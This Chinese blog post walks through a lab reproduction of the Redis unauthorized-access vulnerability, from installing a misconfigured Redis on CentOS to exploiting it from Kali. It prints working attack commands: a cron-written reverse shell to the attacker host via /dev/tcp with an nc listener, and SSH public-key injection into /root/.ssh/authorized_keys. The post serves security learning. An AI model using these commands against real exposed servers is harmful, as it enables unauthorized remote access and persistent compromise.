redis未授权漏洞复现,仅供参考。
Redis未授权访问漏洞复现
(复现过程参考原文链接:https://blog.csdn.net/weixin_45650712/article/details/111999503)
一、Redis介绍
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。
————————————————
版权声明:本文为CSDN博主「永不垂头」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
二、漏洞简介及危害
漏洞简介
Redis因配置不当就会导致未授权访问。在默认情况下,Redis会绑定在 0.0.0.0:6379。如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样 Redis 服务直接暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问到目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,还可以利用 Redis 自身提供的config 命令进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
该漏洞的产生条件有以下两点:
- 1.redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
- 2.没有设置密码认证(一般为空),可以免密码(认证)远程登录redis服务。
漏洞危害:
(1) 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
(2) 攻击者可通过执行lua代码,或通过数据备份功能往磁盘写入后门文件;
(3) 最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器;
漏洞复现
Centos靶机地址:192.168.147.182
kali攻击机地址:192.168.147.178
- 1、Centos安装redis
创建安装redis的目录
mkdir /usr/local/redis
cd /usr/local/redis/
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd /usr/local/redis/redis-3.2.0
make #编译安装
安装完成之后需要修改配置文件,配置允许可以远程访问。
vim redis.conf #修改默认配置文件
在bind 127.0.0.1前面加上#号进行注释,并将protected-mode设置为no。
然后进入src目录,将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了),并将redis.conf拷贝到/etc/目录下。
cd src
cp redis-cli /usr/bin
cp redis-server /usr/bin
cp redis.conf /etc/
启动redis服务:
redis-server /etc/redis.conf
验证是否成功启动redis服务
ps -ef | grep redis
- 2、验证未授权访问。
首先在攻击机上扫描靶机开启的端口情况
nmap -p 6379 --script redis-info 192.168.147.182 #验证Redis未授权访问漏洞
nmap -sV -O 192.168.147.182 -p 6379 #均可验证
- kali连接靶机的redis
redis-cli -h 192.168.147.182 # -h指定服务器ip地址,-p可以指定对应端口
我这边直接连接成功。
如果报错:Could not connect to Redis at 192.168.1.103:6379:No route to host
应该是centos的防火墙还没有开启6379端口,所以无法进行访问。这里需要打开端口模拟真实环境才能正常连接。
firewall-cmd --zone=public --add-port=6379/tcp --permanent # 开放6379端口
firewall-cmd --reload # 配置立即生效。
也可以在最开始的时候关闭centos防火墙设置:systemctl stop firewalld.service
- 1、连接成功后设置定时命令反弹shell:
set x “n* * * * * bash -i >& /dev/tcp/192.168.147.178/6666 0>&1n”
config set dir /var/spool/cron/
config set dbfilename root
save
在攻击机执行 nc -lvp 6666 #监听端口,等待大概1分钟就会反弹成功。
2、公钥密钥
- 写ssh-keygen公钥然后使用私钥登陆
利用条件:(1)redis对外开放,且是未授权访问状态
(2)redis服务ssh对外开放,可以通过key登入
ssh-keygen -t rsa -P '' #攻击机kali生成密钥。
cd /root/.ssh/ #进入 /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt #文件名随意
cat test.txt | redis-cli -h 192.168.242.134 -x set crackit #使用redis-cli -h ip命令连接靶机,将文件写入靶机
redis-cli -h 192.168.147.182 #连接靶机ridis,下面4行命令连接后执行
config set dir /root/.ssh #更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)
config get dir #并使用 CONFIG GET dir 命令得到redis备份的路径:
config set dbfilename "authorized_keys" #设置上传公钥的备份文件名字为authorized_keys:
save
ssh 192.168.147.182 #crontab -l 也可以看到上一步执行的定时任务命令
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!